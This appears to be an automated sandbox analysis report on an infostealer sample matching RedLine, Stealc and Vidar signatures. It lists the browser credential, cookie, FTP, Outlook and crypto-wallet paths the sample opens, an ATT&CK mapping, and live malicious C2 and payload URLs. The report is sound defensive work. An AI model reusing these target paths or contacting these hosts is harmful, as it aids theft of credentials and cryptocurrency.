Source: cda9e1cbbc.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: cda9e1cbbc.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000025.00000002.2534669785.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2542353391.0000000002607000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cda9e1cbbc.exe PID: 5332, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: cda9e1cbbc.exe PID: 8108, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CCA0C40 sqlite3_bind_zeroblob,	19_2_6CCA0C40
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CCA0D60 sqlite3_bind_parameter_name,	19_2_6CCA0D60
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBC8EA0 sqlite3_clear_bindings,	19_2_6CBC8EA0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CCA0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	19_2_6CCA0B40
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	Code function: 19_2_6CBC6410 bind,WSAGetLastError,	19_2_6CBC6410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Native API	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	112 Process Injection	4 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	23 Software Packing	NTDS	346 System Information Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	351 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
JGKjBsQrMc.exe	49%	Virustotal		Browse
JGKjBsQrMc.exe	45%	ReversingLabs	Win32.Packed.Generic
JGKjBsQrMc.exe	100%	Avira	TR/Crypt.TPM.Gen
JGKjBsQrMc.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\1000003002\e0dbbf79bf.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\1000003002\e0dbbf79bf.exe	39%	ReversingLabs	ByteCode-MSIL.Trojan.Babadeda
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\enter[1].exe	45%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	46%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	39%	ReversingLabs	ByteCode-MSIL.Trojan.Babadeda
C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	45%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe	46%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\RoamingDBFHCGCGDA.exe	45%	ReversingLabs	Win32.Packed.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
chrome.cloudflare-dns.com	0%	Virustotal	Browse
prod.balrog.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
raw.githubusercontent.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.detectportal.prod.cloudops.mozgcp.net	0%	Virustotal	Browse
restores.name	2%	Virustotal	Browse
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	0%	Virustotal	Browse
prod.remote-settings.prod.webservices.mozgcp.net	0%	Virustotal	Browse
sni1gl.wpc.nucdn.net	0%	Virustotal	Browse
contile.services.mozilla.com	0%	Virustotal	Browse
youtube-ui.l.google.com	0%	Virustotal	Browse
pki-goog.l.google.com	0%	Virustotal	Browse
ipv4only.arpa	0%	Virustotal	Browse
mitmdetection.services.mozilla.com	0%	Virustotal	Browse
prod.ads.prod.webservices.mozgcp.net	0%	Virustotal	Browse
prod.content-signature-chains.prod.webservices.mozgcp.net	0%	Virustotal	Browse
ip-api.com	0%	Virustotal	Browse
coe.com.vn	10%	Virustotal	Browse
spocs.getpocket.com	0%	Virustotal	Browse
www.youtube.com	0%	Virustotal	Browse
push.services.mozilla.com	0%	Virustotal	Browse
bzib.nelreports.net	0%	Virustotal	Browse
content-signature-2.cdn.mozilla.net	0%	Virustotal	Browse
firefox.settings.services.mozilla.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://identity.mozilla.com/ids/ecosystem_telemetryU	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	100%	Avira URL Cloud	malware
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
http://ip-api.com/json	0%	URL Reputation	safe
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	0%	Avira URL Cloud	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-jsSHUTDOWN_PHASE_DURATION_TICKS_PROFILE_BEFORE_CHANGE	0%	Avira URL Cloud	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	0%	Avira URL Cloud	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	0%	Avira URL Cloud	safe
https://gpuweb.github.io/gpuweb/browser.newtab.feature-tour	0%	Avira URL Cloud	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	0%	Avira URL Cloud	safe
http://185.215.113.19/Vi9leo/index.php	100%	Avira URL Cloud	malware
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://webextensions.settings.services.mozilla.com/v1	0%	URL Reputation	safe
https://github.com/mozilla-services/screenshots	0%	Avira URL Cloud	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	0%	URL Reputation	safe
https://www.amazon.com/exec/obidos/external-search/extension/pictureinpicture	0%	Avira URL Cloud	safe
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	0%	URL Reputation	safe
https://developers.google.com/safe-browsing/v4/advisory	0%	URL Reputation	safe
http://poczta.interia.pl/mh/?mailto=%s	0%	URL Reputation	safe
https://smartblock.firefox.etp/play.svg	0%	URL Reputation	safe
https://firefox.settings.services.mozilla.com	0%	URL Reputation	safe
https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr	0%	URL Reputation	safe
http://185.215.113.16/cost/random.exe	100%	Avira URL Cloud	phishing
https://ac.duckduckgo.com/ac/getElementForAttrInheritance	0%	Avira URL Cloud	safe
https://truecolors.firefox.combrowser.handlers.migrationsmigrateXULAttributeToStylehttps://monitor.f	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/softokn3.dll	100%	Avira URL Cloud	malware
http://85.28.47.70/	100%	Avira URL Cloud	malware
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/nss3.dll	100%	Avira URL Cloud	malware
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	0%	Avira URL Cloud	safe
https://www.youtube.com/accountservices.sync.log.logger.browsertoolkit/branding/accounts.ftlsendTabC	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://i.pki.goog/wr2.crt0	0%	Avira URL Cloud	safe
https://www.youtube.com/accountC:	0%	Avira URL Cloud	safe
https://www.zhihu.com/	0%	Avira URL Cloud	safe
https://www.google.com/complete/searchcb8e7210-9f0b-48fa-8708-b9a03df79eeaupdateFromRemoteSettings/p	0%	Avira URL Cloud	safe
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	0%	Avira URL Cloud	safe
https://json-schema.org/draft/2019-09/schema27fb6245-bd08-4de6-8f4d-2ece3f597752%2528not%2Bset%2529%	0%	Avira URL Cloud	safe
https://email.seznam.cz/newMessageScreen?mailto=%sMust	0%	Avira URL Cloud	safe
https://mozilla-hub.atlassian.net/browse/SDK-405	0%	Avira URL Cloud	safe
https://addons.mozilla.orgaccount-connection-disconnectedshowBadgeOnlyNotificationpictureinpicture.s	0%	Avira URL Cloud	safe
https://www.youtube.com/accountapp.update.lastUpdateTime.%ID%	0%	Avira URL Cloud	safe
https://firefox.settings.services.mozilla.com/v1AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo	0%	Avira URL Cloud	safe
https://firefox-source-docs.mozilla.org/remote/Security.html	0%	Avira URL Cloud	safe
https://mail.yahoo.co.jp/compose/?To=%s	0%	Avira URL Cloud	safe
https://youtube.comhighValueCOOP	0%	Avira URL Cloud	safe
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	0%	Avira URL Cloud	safe
https://xhr.spec.whatwg.org/#sync-warningThe	0%	Avira URL Cloud	safe
http://85.28.47.31/5499d72b3a3e55be.phposition:	100%	Avira URL Cloud	malware
https://github.com/google/closure-compiler/issues/3177	0%	Avira URL Cloud	safe
http://mozilla.org/#/properties/appId	0%	Avira URL Cloud	safe
http://85.28.47.70/c10a74a0c2f42c12/sqlite3.dll	100%	Avira URL Cloud	malware
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	0%	Avira URL Cloud	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	0%	Avira URL Cloud	safe
https://addons.mozilla.org/%LOCALE%/firefox/	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	0%	Avira URL Cloud	safe
http://85.28.47.31/5499d72b3a3e55be.php9	100%	Avira URL Cloud	malware
https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.enabled	0%	Avira URL Cloud	safe
https://github.com/mozilla-services/screenshotsshims/microsoftVirtualAssistant.jsshims/private-brows	0%	Avira URL Cloud	safe
https://mail.inbox.lv/compose?to=%s_finalizeInternal/this._finalizePromise	0%	Avira URL Cloud	safe
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
chrome.cloudflare-dns.com	172.64.41.3	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.109.133	true	false	0%, Virustotal, Browse	unknown
restores.name	65.0.21.192	true	false	2%, Virustotal, Browse	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	0%, Virustotal, Browse	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	0%, Virustotal, Browse	unknown
mitmdetection.services.mozilla.com	13.32.99.17	true	false	0%, Virustotal, Browse	unknown
pki-goog.l.google.com	142.250.185.163	true	false	0%, Virustotal, Browse	unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	0%, Virustotal, Browse	unknown
contile.services.mozilla.com	34.117.188.166	true	false	0%, Virustotal, Browse	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	0%, Virustotal, Browse	unknown
youtube-ui.l.google.com	142.250.74.206	true	false	0%, Virustotal, Browse	unknown
ipv4only.arpa	192.0.0.170	true	false	0%, Virustotal, Browse	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	0%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	false	0%, Virustotal, Browse	unknown
coe.com.vn	103.28.36.182	true	false	10%, Virustotal, Browse	unknown
spocs.getpocket.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
firefox.settings.services.mozilla.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
push.services.mozilla.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.youtube.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
detectportal.firefox.com	unknown	unknown	true		unknown
bzib.nelreports.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
o.pki.goog	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.php	true	Avira URL Cloud: malware	unknown
http://85.28.47.70/	false	Avira URL Cloud: malware	unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.31/8405906461a5200c/nss3.dll	true	Avira URL Cloud: malware	unknown
https://www.google.com/favicon.ico	false	Avira URL Cloud: safe	unknown
http://ip-api.com/json	false	URL Reputation: safe	unknown
http://85.28.47.70/c10a74a0c2f42c12/sqlite3.dll	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
